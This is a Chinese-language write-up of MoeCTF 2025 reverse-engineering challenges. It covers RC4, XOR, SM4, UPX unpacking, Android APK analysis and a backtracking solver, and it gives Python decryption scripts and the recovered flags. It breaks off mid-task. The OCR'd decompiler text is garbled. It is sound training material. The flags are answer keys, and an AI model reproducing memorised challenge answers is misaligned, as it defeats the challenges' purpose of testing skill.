&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：-STDCALL WINMAIN(HINSTANCE HINSTANCE, HINSTANCE HPREVINSTANCE INT [RSP+60H] [RBP-20H] BYREF MSG MSG; WNDCLASSA WNDCLASS; [H06+DSR] BYREF [RBP+10H] [RSP+EOH] CHAR CLASSNAME[24]; [RBP+60H] BYREF HWND HWND;// [RSP+F8H] [RBP+78H] STRCPY(CLASSNAME, &quot;SAMPLE WINDOW CLASS&quot;); MEMSET(&amp;amp;WNDCLASS, O, SIZEOF(WNDCLASS)); (WNDPROC)WNDPROC; WNDCLASS.LPFNWNDPROC HINSTANCE; WNDCLASS.HINSTANCE WNDCLASS.LPSZCLASSNAME CLASSNAME; REGISTERCLASSA(&amp;amp;WNDCLASS); HWND : CREATEWINDOWEXA( O, CLASSNAME, &quot;MOECTF 2025&quot;, OXCA0000U, 0X80000000 0X80000000, 400元 100元 OLL, OLL, HINSTANCE, OLL); IF ( !HWND RETURN O; SHOWWINDOW(HWND, NSHOWCMD); UPDATEWINDOW(HWND); SLEEP(1U); DESTROYWINDOW(HWND); MEMSET(&amp;amp;MSG, O, SIZEOF(MSG)); GETMESSAGEA(&amp;amp;MSG, OLL, 0, 0) &amp;gt; 0 ) WHILE TRANSLATEMESSAGE(&amp;amp;MSG); DISPATCHMESSAGEA(&amp;amp;MSG); O; RETURN 子 --&amp;gt;
&lt;img src=&quot;./images/img-25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开WndProc函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：POSTQUITMESSAGE(0); RETURN OLL; ELSE IF ( A2 : 15 ) HDC - BEGINPAINT(AL, &amp;amp;PAINT); &quot;YOUR FLAG IS &quot;); STRCPY(DESTINATION, V7 三 0; OLL; V8 V9 0LL; V10 0LL; OLL; V11 OLL; V12 OLL; V13 OLL; V14 OLL; V15 OLL; V16 OLL; V17 OLL; V18 OLL; V19 OLL; V20 V21 0LL; *(_QWORD *)STR - OX7F1B3E885EF9160LL; V25 0X2CD336BCB0464A89LL; V26[0] 三 0XEF5FC91642917EE1ULL; *(_QWORD *)(CHAR *)V26 + 6) 三 0X739D40A4E356EF5FLL; STRCPY(V23, &quot;MYLITTLEPONY&quot;); V28 12; V27 三 STRLEN(STR); *)STR, V27, (CONST UNSIGNED __INT8 *)V23, 12); RC4CRYPT((UNSIGNED._INT8 STRCAT(DESTINATION, STR); GETCLIENTRECT(A1, &amp;amp;RECT); DRAWTEXTA(HDC, DESTINATION, -1, &amp;amp;RECT, OX40005U); ENDPAINT(AL, &amp;amp;PAINT); RETURN OLL; ELSE  RETURN DEFWINDOWPROCA(AL, A2, A3, A4); --&amp;gt;
&lt;img src=&quot;./images/img-26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加密算法为RC4，密钥 (key): &quot;mylittlepony&quot;&lt;/p&gt;
&lt;p&gt;密文&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：)STR0X7F1B3E885EF9160LL; QWORD 0X2CD336BCB0464A89LL; V25 V26[0] 0XEF5FC91642917EE1ULL; )(CHAR *)V26 + 6) 三 0X739D40A4E356EF5FLL; (_QWORD --&amp;gt;
&lt;img src=&quot;./images/img-27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：__FASTCALL RC4CRYPT(UNSIGNED __INT8 *AL, INT A2, INT64 CO _INT64 RESULT; // R RAX [RSP+OH][RBP-80H] INT64 BYREF LINT8 V6[257]; / [RSP+20H] [RBP-60H] UNSIGNED _INT8 V7; // [RSP+121H] [RBP+A1H] UNSIGNED INT8 V83//[RSP+122H][RBP+AZH] UNSIGNED _INT8 V9; // [RSP+123H] [RBP+A3H] IGNED UNSI  INT I; / [RSP+124H] [RBP+A4H] UNSIGNED [RSP+128H] [ [ ] [RBP+A8H] INT V11; [RSP+12CH] INT V12; [RBP+ACH] _INT8 *)&amp;amp;V5 + 32, A3, A4); RC4INIT((UNSIGNED V12 0; V11 FOR(I-0;;++++I) } RESULT : I;  IF (INT)I &amp;gt;: A2 ) BREAK; 三 (V12 + 1) % 256; V12 V11 三 (V6[V12] + V11) % 256; V9 三 V6[V12]; V6[V12] ; V6[V11]; V6[V11] 三 V9; V8 三 V6[V12] + V6[V11]; V7 - V6[V8];  A1[I] - V7; RETURN RESULT; --&amp;gt;
&lt;img src=&quot;./images/img-28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def rc4_crypt(key: bytes, data: bytes) -&amp;gt; bytes:
    # simple RC4 (KSA + PRGA)
    S = list(range(256))
    j = 0
    # KSA
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) &amp;amp; 0xFF
        S[i], S[j] = S[j], S[i]
    # PRGA
    i = 0
    j = 0
    out = bytearray(len(data))
    for idx in range(len(data)):
        i = (i + 1) &amp;amp; 0xFF
        j = (j + S[i]) &amp;amp; 0xFF
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) &amp;amp; 0xFF]
        out[idx] = data[idx] ^ K
    return bytes(out)

def main():
    key = b&quot;mylittlepony&quot; 
    str_part = (0x07F1B3E885EF9160).to_bytes(8, &quot;little&quot;)  

    
    v25 = (0x2CD336BCB0464A89).to_bytes(8, &quot;little&quot;)


    v26 = bytearray((0xEF5FC91642917EE1).to_bytes(8, &quot;little&quot;))

    
    overwrite = (0x739D40A4E356EF5F).to_bytes(8, &quot;little&quot;)
    
    v26[6:6+8] = overwrite

    cipher_bytes = str_part + v25 + bytes(v26)

    plaintext = rc4_crypt(key, cipher_bytes)

    print(&quot;raw decrypted bytes:&quot;, plaintext)
    try:
        s = plaintext.decode(&quot;utf-8&quot;)
    except UnicodeDecodeError:
        s = plaintext.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;)
    print(&quot;decoded (utf-8, ignoring errors):&quot;)
    print(s)

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：M LOCAL WINDOWS DEBUGGER UNEXPLORED EXTERNAL SYMBOL LIBRARY FUNCTION DATA REGULAR FUNCTION LUMINA FUNCTION INSTRUCTION IDA VIEW-RIP, GENERAL REGISTERS. MODULES, THREADS, HEX VIEW-1. STACK VIEW IDA VIEW-RIP MOECTF 2025 YOUR FLAG IS MOECTFJUST_DYN@MIC_D3BUGGLNG] E:\MOECTF2025\SPEED\SPEED.EX NAME  PORTABLE EXECUTABLE FOR AMD6 NAT 140000000 LINAGEBASE AAATIONOOJJ/AAAA:7XA7 6897959C (SAT AUG 09 18:38:2 TIMESTAMP TEXT:00007FF66C6E1000 SECTION 1. (VIRTUAL ADDRESS 00001000) TEXT:00007FF66C6E1000 000021C8 TEXT:00007FF66C6E1000 VIRTUAL SIZE  SECTION SIZE IN FILE 00002200 TEXT:00007FF66C6E1000 OFFSET TO RAW DATA FOR SECTION: 0000600 TEXT:00007FF66C6E1000 S 6000060: TEXT DATA EXECUTABLE READA FLAGS 6 .TEXT:0007FF66C6E1000 ;FLA ALIGNMENT DEFAULT TEXT:00007FF66C6E1000 TEXT:00007FF66C6E1000  SEGMENT TYPE: PURE CODE .TEXT:00007FF66C6E1000  SEGMENT PERMISSIONS: READ/EXECUTE TEXT:00007FF66C6E1000 _TEXT SEGMENT PARA PUBLIC &apos;CODE&apos; USE64 TEXT:00007FF66C6E1000  ASSUME CS:_TEXT TEXT:00007FF66C6E1000 .TEXT:00007FF66C6E1000 ;ORG 7FF66C6E1000H .TEXT:00007FF66C6E1000 ASSUME ES:NTDLL_DLL, SS:NTDLL_DLL, DS:_DATA, .TEXT:0007FF66C6E1000 TEXT:00007FF66C6E1000 TEXT:00007FF66C6E1000 MINGW_INVALIDPARAMETERHANDLE VOID CDEC1 .TEXT:00007FF66C6E1000 _MINGW_INVALIDPARAMETERHANDLER PROC NEAR .TEXT:00007FF66C6E1000 TEXT:00007FF66C6E1000 RETN _MINGW_INVALIDPARAMETERHANDLER ENDP TEXT:00007FF66C6E1000 TEXT:00007FF66C6E1000 --&amp;gt;
&lt;img src=&quot;./images/img-29.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;moectf{Just_dyn@mic_d3bugg1ng}&lt;/p&gt;
&lt;h1&gt;04 catch&lt;/h1&gt;
&lt;p&gt;定位主函数，&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开solve函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-31.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到提示，打开sub_114514()函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现是根据enc函数进行加密&lt;/p&gt;
&lt;p&gt;flag字符串为&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-33.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;enc函数就是一个简单的异或&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-34.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;异或结果为&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-35.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;显然不是我么们的flag，回到刚才的提示flag就藏在项目里，我们查看字符串看到可疑对象&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-36.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用解码工具一键解码&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Rot13解码:		moectf{S4m3_Tr1ck_with_@flower_desuwa}&lt;/p&gt;
&lt;h1&gt;12 have_fun&lt;/h1&gt;
&lt;p&gt;点开WinMain函数，是一个典型的 Win32 GUI 程序入口（WinMain）的反编译版&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-38.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;入口 WinMain 很模板化，实质逻辑都在 sub_140001210&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-39.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分别查看sub_7FF681721420函数与DialogFunc函数，发现前者是空壳，真正的加密逻辑在DialogFunc里&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-40.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入长度为16&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对每个字符做异或&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-42.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;把异或后的结果 v23 与目标常量比较&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-43.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;目标常量为[&apos;G&apos;,&apos;E&apos;,&apos;O&apos;,&apos;I&apos;,&apos;^&apos;,&apos;L&apos;,&apos;Q&apos;,&apos;b&apos;,&apos;j&apos;,&apos;\&apos;, 0x1E, &apos;u&apos;,&apos;L&apos;, 0x7F,&apos;D&apos;,&apos;W&apos;]&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-44.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解密&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 只需改这里：把 .rdata 里目标串的 16 个字节（低 8 位）填进来
target = [
    0x47, 0x45, 0x4F, 0x49, 0x5E, 0x4C, 0x51, 0x62,
    0x6A, 0x5C, 0x1E, 0x75, 0x4C, 0x7F, 0x44, 0x57
]

flag = &apos;&apos;.join(chr((b ^ 0x2A) &amp;amp; 0xFF) for b in target)
print(flag)  # -&amp;gt; moectf{H@v4_fUn}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{H@v4_fUn}&lt;/p&gt;
&lt;h1&gt;07 ezandroid&lt;/h1&gt;
&lt;p&gt;在AndroidManifest.xml找到android:name  &lt;strong&gt;com.example.ezandroid.MainActivity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在源代码里按照路径打开&lt;strong&gt;com.example.ezandroid.MainActivity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是一个base64编码，字符串为&lt;strong&gt;bW9lY3Rme2FuZHJvaWRfUmV2ZXJzZV9JNV9lYXN5fQ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-47.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;moectf{android_Reverse_I5_easy}&lt;/p&gt;
&lt;h1&gt;18 ezandroid.pro&lt;/h1&gt;
&lt;p&gt;用jdax打开这个apk文件&lt;/p&gt;
&lt;p&gt;定位到AndroidManifest.xml，在其中找到android:name&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按照此路径在源代码中打开&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-49.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Java 层只做了长度检查（32）和 check(str) 的调用；真正判定逻辑在 native 库 libezandroidpro.so&lt;/p&gt;
&lt;p&gt;把apk后缀名改为zip&lt;/p&gt;
&lt;p&gt;在ida中打开libezandroidpro.so&lt;/p&gt;
&lt;p&gt;定位到Java_com_example_ezandroidpro_MainActivity_check函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-50.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是一个sm4—ECB加密，密钥是moectf2025!!!!!!&lt;/p&gt;
&lt;p&gt;明文4EEB1EEF2914D79BFA8C5006332097ED2EF06C4A59CAE31C827A08D45CC649C0B971BF2EFBCB160E531A646DF7A6AC0B&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-51.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;moectf{SM4_Android_I5_Funing!!!}&lt;/p&gt;
&lt;h1&gt;05 upx&lt;/h1&gt;
&lt;p&gt;用die打开有upx加壳&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-52.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用upx脱壳&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-53.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脱壳完成在ida中打开，定位主函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-54.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;字符串长度为35&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-55.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加密过程&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-56.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;要加密的数据（按顺序）&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-57.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-58.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
def reverse_decrypt(encrypted_data):
    
    decrypted = []

    for i in range(len(encrypted_data)):
        if i == 0:
            # 第一个字符已知是 &apos;m&apos; (moectf的开头)
            first_char = ord(&apos;m&apos;)
            decrypted.append(first_char)
        else:
            # 使用链式XOR解密公式
            prev_encrypted = encrypted_data[i-1]  # 前一个加密字节
            prev_decrypted = decrypted[i-1]       # 前一个解密字节
            current_char = prev_encrypted ^ prev_decrypted ^ 0x21
            decrypted.append(current_char)

    return bytes(decrypted)

def encrypt_for_verification(plaintext):

    plaintext_bytes = plaintext.encode(&apos;ascii&apos;)
    encrypted = []

    for i in range(len(plaintext_bytes) - 1):
        # 加密公式: encrypted[i] = (plaintext[i] ^ 0x21) ^ plaintext[i+1]
        enc_byte = (plaintext_bytes[i] ^ 0x21) ^ plaintext_bytes[i+1]
        encrypted.append(enc_byte)

    return encrypted

def solve_moe_exe():

    print(&quot;=== moe.exe CTF题目解密算法 ===&quot;)
    print(&quot;题目类型: UPX脱壳 + 自定义XOR加密&quot;)
    print()

    
    complete_encrypted_data = [
        0x23, 0x2B, 0x27, 0x36, 0x33, 0x3C, 0x03, 0x48, 0x64, 0x0B, 0x1D, 0x76,
        0x7B, 0x10, 0x0B, 0x3A, 0x3F, 0x65, 0x76, 0x29, 0x15, 0x37, 0x1C, 0x0A,
        0x08, 0x21, 0x3E, 0x3C, 0x3D, 0x16, 0x0B, 0x24, 0x29, 0x24
    ]

    print(f&quot;加密数据长度: {len(complete_encrypted_data)} 字节&quot;)
    print(&quot;加密数据 (16进制):&quot;)
    for i in range(0, len(complete_encrypted_data), 16):
        chunk = complete_encrypted_data[i:i+16]
        hex_str = &apos; &apos;.join(f&apos;{b:02X}&apos; for b in chunk)
        print(f&quot;  {hex_str}&quot;)
    print()

    # 执行解密
    print(&quot;开始解密...&quot;)
    decrypted_bytes = reverse_decrypt(complete_encrypted_data)

    # 转换为字符串
    try:
        decrypted_str = decrypted_bytes.decode(&apos;ascii&apos;)
        print(f&quot;解密结果: {decrypted_str}&quot;)
    except UnicodeDecodeError:
        print(&quot;解密结果包含非ASCII字符，显示原始字节:&quot;)
        print(decrypted_bytes)
        return None

    # 检查并修正flag格式
    if decrypted_str.startswith(&apos;moectf{&apos;) and not decrypted_str.endswith(&apos;}&apos;):
        # 手动添加结尾的&apos;}&apos;
        final_flag = decrypted_str + &apos;}&apos;
        print(f&quot;修正后的flag: {final_flag}&quot;)
    else:
        final_flag = decrypted_str

    # 验证flag格式
    if final_flag.startswith(&apos;moectf{&apos;) and final_flag.endswith(&apos;}&apos;):
        print(&quot;✅ Flag格式正确!&quot;)

        if &apos;upx&apos; in final_flag.lower():
            print(&quot;🎯 包含UPX关键词，符合题目背景!&quot;)

        return final_flag
    else:
        print(&quot;❌ Flag格式不正确&quot;)
        return None

def demo_step_by_step():
    &quot;&quot;&quot;
    演示解密过程的每一步
    &quot;&quot;&quot;
    print(&quot;\n=== 逐步解密演示 ===&quot;)

    # 使用前10字节进行演示
    demo_data = [0x23, 0x2B, 0x27, 0x36, 0x33, 0x3C, 0x03, 0x48, 0x64, 0x0B]

    print(&quot;演示数据:&quot;, &apos; &apos;.join(f&apos;{b:02X}&apos; for b in demo_data))
    print()

    decrypted = []

    for i in range(len(demo_data)):
        if i == 0:
            # 第一个字符
            char = ord(&apos;m&apos;)
            decrypted.append(char)
            print(f&quot;步骤 {i+1}: 第一个字符已知 = &apos;m&apos; (0x{char:02X})&quot;)
        else:
            # 后续字符的解密
            prev_encrypted = demo_data[i-1]
            prev_decrypted = decrypted[i-1]
            current_char = prev_encrypted ^ prev_decrypted ^ 0x21
            decrypted.append(current_char)

            char_display = chr(current_char) if 32 &amp;lt;= current_char &amp;lt;= 126 else f&apos;\\x{current_char:02x}&apos;
            print(f&quot;步骤 {i+1}: {prev_encrypted:02X} ^ {prev_decrypted:02X} ^ 21 = {current_char:02X} (&apos;{char_display}&apos;)&quot;)

    # 显示部分结果
    partial_result = bytes(decrypted).decode(&apos;ascii&apos;, errors=&apos;ignore&apos;)
    print(f&quot;\n部分解密结果: {partial_result}&quot;)

def main():
    &quot;&quot;&quot;
    主函数 - 执行完整的解密流程
    &quot;&quot;&quot;
    print(&quot;moe.exe CTF题目完整解密算法&quot;)
    print(&quot;=&quot; * 50)

    # 1. 执行解密
    final_flag = solve_moe_exe()

    if final_flag:
        print(f&quot;\n🏆 最终Flag: {final_flag}&quot;)

        # 2. 演示解密步骤
        demo_step_by_step()

        print(&quot;\n&quot; + &quot;=&quot; * 50)
        print(&quot;解密完成!&quot;)
        print(f&quot;Flag: {final_flag}&quot;)
        print(&quot;题目类型: UPX脱壳 + 自定义XOR加密算法逆向&quot;)
        print(&quot;=&quot; * 50)

        return final_flag
    else:
        print(&quot;\n❌ 解密失败&quot;)
        return None

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{Y0u_c4n_unp4ck_It_vvith_upx}&lt;/p&gt;
&lt;h1&gt;06 ez3&lt;/h1&gt;
&lt;p&gt;ida中打开定位到主函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-59.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag长度为42&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-60.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;真正的加密逻辑在check（）&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-61.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点开&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-62.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*

MOD = 51966
MUL = 47806
XOR_VAL = 0x114514
LEN = 34

# expected 数组（你给出的值）
a = [
    0x0B1B0, 0x5678, 0x7FF2, 0xA332, 0xA0E8, 0x364C, 0x2BD4,
    0xC8FE, 0x4A7C, 0x18, 0x2BE4, 0x4144, 0x3BA6, 0xBE8C, 0x8F7E,
    0x35F8, 0x61AA, 0x2B4A, 0x6828, 0xB39E, 0xB542, 0x33EC, 0xC7D8,
    0x448C, 0x9310, 0x8808, 0xADD4, 0x3CC2, 0x796, 0xC940, 0x4E32,
    0x4E2E, 0x924A, 0x5B5C
]

def compute_b(ch: int, i: int, prev_b: int|None) -&amp;gt; int:
    tmp = MUL * (ch + i)
    if prev_b is not None:
        tmp ^= (prev_b ^ XOR_VAL)
    return tmp % MOD

# 优先级：&apos;_&apos; 最优，接着 数字，再字母，最后其他可打印字符
def candidate_priority(ch: int):
    c = chr(ch)
    if c == &apos;_&apos;:
        return 0
    if c.isdigit():
        return 1
    if c.isalpha():
        return 2
    if 32 &amp;lt;= ch &amp;lt; 127:
        return 3
    return 4

def gen_candidates(pos: int, prev_b: int|None, byte_range=range(32,127)):
    t = a[pos]
    cands = []
    for ch in byte_range:
        if compute_b(ch, pos, prev_b) == t:
            cands.append(ch)
    # 按优先级排序（数字优先于字母）
    cands.sort(key=lambda x: (candidate_priority(x), x))
    return cands

# DFS 回溯，返回若干候选解（按优先级）
def dfs_find(byte_range=range(32,127), max_solutions=20):
    solutions = []
    stack = [(0, None, [])]  # pos, prev_b, bytes_list

    while stack and len(solutions) &amp;lt; max_solutions:
        pos, prev_b, cur = stack.pop()
        if pos == LEN:
            solutions.append(bytes(cur))
            continue

        cands = gen_candidates(pos, prev_b, byte_range)
        # 逆序压栈，确保优先级高的先弹出
        for ch in reversed(cands):
            new_b = compute_b(ch, pos, prev_b)
            stack.append((pos + 1, new_b, cur + [ch]))

    return solutions

def main():
    print(&quot;开始回溯求解（数字优先于字母）...&quot;)
    sols = dfs_find(range(32,127), max_solutions=20)
    if not sols:
        print(&quot;未在可打印 ASCII 找到解，请尝试全字节范围。&quot;)
        return

    for i, s in enumerate(sols):
        try:
            text = s.decode(&apos;ascii&apos;)
        except:
            text = s.decode(&apos;latin1&apos;)
        print(f&quot;[{i}] 候选：{text}&quot;)
        print(&quot;    完整 flag:&quot;, &quot;moectf{&quot; + text + &quot;}&quot;)

    print(&quot;\n建议第一个候选通常为正确结果：&quot;)
    best = sols[0].decode(&apos;ascii&apos;, errors=&apos;replace&apos;)
    print(&quot;最终 flag:&quot;, &quot;moectf{&quot; + best + &quot;}&quot;)

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{Y0u_Kn0w_z3_S0Iv3r_N0w_a1f2bdce4a9}&lt;/p&gt;
&lt;h1&gt;16 A simple program&lt;/h1&gt;
&lt;p&gt;ida中打开，定位到main函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-63.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入到str1中，并与str2对比，相等就输出correct，否则输出wrong，但这个主函数并没有什么校验函数，根据题目提示“falg就在主函数里”，查看字符串&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-64.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上面的moectf是假的flag，下面的数据组就是校验数组，点开这个函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-65.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;正如我们所料，对这个数组的数据进行异或，写个脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# decode_flag.py
ARR = [
    0x4E, 0x4C, 0x46, 0x40, 0x57, 0x45, 0x58, 0x7A, 0x13, 0x56,
    0x7C, 0x73, 0x17, 0x50, 0x50, 0x66, 0x47, 0x02, 0x02, 0x5E
]

flag = bytes(b ^ 0x23 for b in ARR).decode(&apos;ascii&apos;)
print(flag)  # moectf{Y0u_P4ssEd!!}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{Y0u_P4ssEd!!}&lt;/p&gt;
&lt;h1&gt;08 flower&lt;/h1&gt;
&lt;p&gt;IDA定位到主函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-66.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击slove函数，有栈堆不平衡&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-67.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;定位到这个位置，发现有花指令，还有函数边界问题&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-68.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先修改花指令&lt;/p&gt;
